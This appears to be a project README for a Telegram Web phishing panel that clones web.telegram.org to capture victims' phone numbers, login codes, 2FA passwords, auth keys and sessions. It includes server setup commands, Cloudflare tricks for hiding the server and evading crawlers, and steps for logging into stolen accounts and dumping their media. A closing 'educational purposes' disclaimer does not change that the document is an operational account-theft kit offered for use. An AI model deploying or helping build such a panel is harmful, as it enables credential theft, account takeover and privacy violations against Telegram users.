Telegram Phoenix - Telegram Account Phishing TOOLBAR

Full-featured Telegram Web Phishing Panel - Public Version . 100% clones official web.telegram.org. Steals auth_key + full session from localStorage. Shows victim's real IP & device — zero suspicion.

Why it still works

• Uses original Telegram client code (no custom APP_ID/HASH)
• Telegram sees legitimate web session → no auto-bans or session kills
• Victim sees their real IP/device exactly like in official client

Features

• Captures: phone, code, 2FA, auth_key, full session
• Convert auth_key → Telethon (.session)
• Convert → tdata folder (direct login)
• Instant login via Telegram Desktop Portable
• Media dump (photos, videos, files)
• Logs archive export
• Detailed victim statistics
• Multi-domain via Cloudflare proxy (hidden server IP + free SSL)
• Bot WebApp mode (domain completely invisible)

Domain Setup (Cloudflare)

1. Add 2+ domains → enable proxy (orange cloud)
2. Full SSL/TLS
3. Add secret path key to evade crawlers (e.g. /connect)
   → Phishing link: https://yourdomain.com/connect

Installation

• Ubuntu 22.04 + NGINX
• 2+ Cloudflare-proxied domains ready
• Tools: WinSCP + PuTTY

How to log into stolen account

1. Convert key → tdata
2. Download Telegram Desktop Portable
3. Run once → tdata folder appears
4. Replace contents with stolen tdata
5. Launch → logged in

Installation Guide (Ubuntu 22.04 + NGINX)

1. Update system & install base packages

• sudo apt update
• sudo apt install -y nginx ufw

Firewall

• sudo ufw allow "Nginx Full"
• sudo ufw allow "OpenSSH"
• sudo ufw enable

Node.js 18

• curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
• sudo apt install -y nodejs

Python 3.10 + tools

• sudo apt install -y python3.10 python3-pip python3-venv
• sudo apt install -y build-essential zlib1g-dev libncurses5-dev libgdbm-dev \
• libnss3-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev wget libbz2-dev

2. Upload files

• Bot → /root/main.py + /root/bot/.env (BOT_TOKEN + ADMIN_ID)
• TWeb → /var/www/tweb/

Critical: set your API domain

• nano /var/www/tweb/src/index.ts # line ~85
• If build caches old domain → edit manually in:
• /var/www/tweb/dist/index-*.js
• /var/www/tweb/public/index-*.js

3. Build Telegram Web

• cd /var/www/tweb
• npm install -g pnpm
• pnpm install

Fix forEach vite bug (replace file from archive)

• → /var/www/tweb/node_modules/vite/dist/node/chunks/

pnpm run build # repeats on every tweb.service restart

4. Bot dependencies

• cd /root/bot
• pip install -r requirements.txt
• pip install fastapi telebot aiohttp_socks "uvicorn[standard]"

5. Systemd services

• sudo mkdir /root/logs
• sudo cp bot.service tweb.service main.service /etc/systemd/system/
• sudo systemctl daemon-reload
• sudo systemctl enable bot.service tweb.service main.service

6. NGINX configuration

• sudo cp tweb.conf work.conf /etc/nginx/conf.d/

Edit:

• tweb.conf → server_name your-phishing-domain.com;
• work.conf → server_name your-api-domain.com;

Domain in work.conf MUST match domain in tweb index.ts/js

Both domains: A-record → server IP + Cloudflare proxy (orange cloud)

sudo systemctl reload nginx

7. Start everything

• sudo systemctl daemon-reload
• sudo systemctl start bot.service tweb.service main.service

Check

systemctl status bot.service tweb.service main.service

Note: Some dead functions remain in code (old auto-SSL, spam bot, etc.) — normal after updates.

Note: This project is intended solely for educational purposes and authorized testing. Any unauthorized or malicious use is strictly prohibited. The developer is not responsible for any misuse of the provided materials.

Community and Support

Join our community for discussions and support:

• Discord Server
• Issues Page for bug reports and feature requests.

Contributing

Contributions are welcome! If you have ideas for improving configurations or adding new templates, please submit a pull request. Ensure all contributions align with the educational and ethical goals of this project.

License

Licensed under the MIT License for educational and authorized security testing purposes only. See LICENSE for details.